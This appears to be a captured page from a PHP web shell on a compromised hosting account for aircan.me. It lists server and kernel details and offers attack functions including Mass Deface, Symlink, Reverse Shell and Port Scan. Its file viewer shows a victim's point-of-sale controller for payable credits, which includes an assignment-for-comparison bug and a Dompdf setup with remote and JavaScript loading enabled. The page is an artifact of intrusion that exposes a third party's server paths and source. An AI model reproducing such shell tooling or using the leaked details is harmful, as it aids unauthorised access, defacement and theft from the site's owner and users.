Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vendefacil2
/
controllers
/
Viewing: CreditoPorPagar.php
<?php require 'vendor/autoload.php'; use Dompdf\Dompdf; class CreditoPorPagar extends Controller { private $id_usuario, $id_sucursal; public function __construct() { parent::__construct(); session_start(); if (empty($_SESSION['id_usuario'])) { header('Location: ' . BASE_URL); exit; } if (!verificar('cuentas_por_pagar')) { header('Location: ' . BASE_URL . 'admin/permisos'); exit; } $this->id_usuario = $_SESSION['id_usuario']; $this->id_sucursal = $_SESSION['id_sucursal']; } public function index() { $data['modal'] = 'credito-compra.php'; $data['script'] = 'porpagar.js'; $data['title'] = 'Administrar Creditos'; $this->views->getView('creditos', 'porpagar', $data); } public function listar() { $data = $this->model->getCreditos($this->id_sucursal); for ($i = 0; $i < count($data); $i++) { $credito = $this->model->getCredito($data[$i]['id']); $result = $this->model->getAbono($data[$i]['id']); $abonado = ($result['total'] == null) ? 0 : $result['total']; $restante = $data[$i]['monto'] - $abonado; if ($restante < 0.1 && $credito['estado'] = 1) { $this->model->actualizarCredito(0, $data[$i]['id']); } $data[$i]['monto'] = number_format($data[$i]['monto'], 2); $data[$i]['abonado'] = number_format($abonado, 2); $data[$i]['restante'] = number_format($restante, 2); $data[$i]['compra'] = 'N°: ' . $data[$i]['id_compra']; $data[$i]['acciones'] = '<a class="btn btn-danger" href="' . BASE_URL . 'creditoPorPagar/reporte/' . $data[$i]['id'] . '" target="_blank"><i class="fas fa-file-pdf"></i></a>'; if ($data[$i]['estado'] == 1) { $data[$i]['estado'] = '<span class="badge bg-warning">PENDIENTE</span>'; } else if ($data[$i]['estado'] == 2) { $data[$i]['estado'] = '<span class="badge bg-danger">ANULADO</span>'; } else { $data[$i]['estado'] = '<span class="badge bg-success">COMPLETADO</span>'; } } echo json_encode($data, JSON_UNESCAPED_UNICODE); die(); } public function buscar() { $array = array(); $valor = strClean($_GET['term']); $data = $this->model->buscarPorNombre($valor); foreach ($data as $row) { $resultAbono = $this->model->getAbono($row['id']); $abonado = ($resultAbono['total'] == null) ? 0 : $resultAbono['total']; //calcular restante (monto - abono) $restante = $row['monto'] - $abonado; $result['monto'] = $row['monto']; $result['abonado'] = number_format($abonado, 2, '.', ''); $result['restante'] = number_format($restante, 2, '.', ''); $result['fecha'] = $row['fecha']; $result['id'] = $row['id']; $result['label'] = $row['nombre']; $result['telefono'] = $row['telefono']; $result['direccion'] = $row['direccion']; array_push($array, $result); } echo json_encode($array, JSON_UNESCAPED_UNICODE); die(); } public function getCredito($idCredito) { $credito = $this->model->getCredito($idCredito); if (empty($credito)) { echo json_encode(['error' => 'CREDITO NO ENCONTRADO']); die(); } $resultAbono = $this->model->getAbono($idCredito); $abonado = ($resultAbono['total'] == null) ? 0 : $resultAbono['total']; $restante = $credito['monto'] - $abonado; $result = []; $result['monto'] = $credito['monto']; $result['abonado'] = number_format($abonado, 2, '.', ''); $result['restante'] = number_format($restante, 2, '.', ''); $result['fecha'] = $credito['fecha']; $result['id'] = $credito['id']; $result['label'] = $credito['nombre']; $result['telefono'] = $credito['telefono']; $result['direccion'] = $credito['direccion']; echo json_encode($result, JSON_UNESCAPED_UNICODE); die(); } public function registrarAbono() { $verificarCaja = $this->model->getCaja($this->id_sucursal); if (empty($verificarCaja)) { $res = array('msg' => 'La CAJA ESTA CERRADA', 'type' => 'warning'); echo json_encode($res); die(); } $json = file_get_contents('php://input'); $datos = json_decode($json, true); if (!empty($datos)) { $idCredito = strClean($datos['idCredito']); $monto = strClean($datos['monto_abonar']); $fecha = date('Y-m-d H:i:s'); $data = $this->model->registrarAbono($monto, $fecha, $idCredito, $this->id_usuario); if ($data > 0) { $res = array('msg' => 'ABONO REGISTRADO', 'type' => 'success'); } else { $res = array('msg' => 'ERROR AL REGISTRAR', 'type' => 'error'); } } else { $res = array('msg' => 'TODO LOS CAMPOS SON REQUERIDO', 'type' => 'warning'); } echo json_encode($res); die(); } public function reporte($idCredito) { ob_start(); $data['title'] = 'Reporte'; $data['empresa'] = $this->model->getEmpresa(); $data['credito'] = $this->model->getCredito($idCredito); $data['abonos'] = $this->model->getAbonos($idCredito); if (empty($data['credito'])) { echo 'Pagina no Encontrada'; exit; } $this->views->getView('creditos', 'reportePorPagar', $data); $html = ob_get_clean(); $dompdf = new Dompdf(); $options = $dompdf->getOptions(); $options->set('isJavascriptEnabled', true); $options->set('isRemoteEnabled', true); $dompdf->setOptions($options); $dompdf->loadHtml($html); $dompdf->setPaper('A4', 'vertical'); // Render the HTML as PDF $dompdf->render(); // Output the generated PDF to Browser $dompdf->stream('reporte.pdf', array('Attachment' => false)); } public function listarAbonos() { $data = $this->model->getHistorialAbonos(); for ($i = 0; $i < count($data); $i++) { $data[$i]['credito'] = 'N°: ' . $data[$i]['id_credito']; } echo json_encode($data); die(); } }
Coded With 💗 by
0x6ick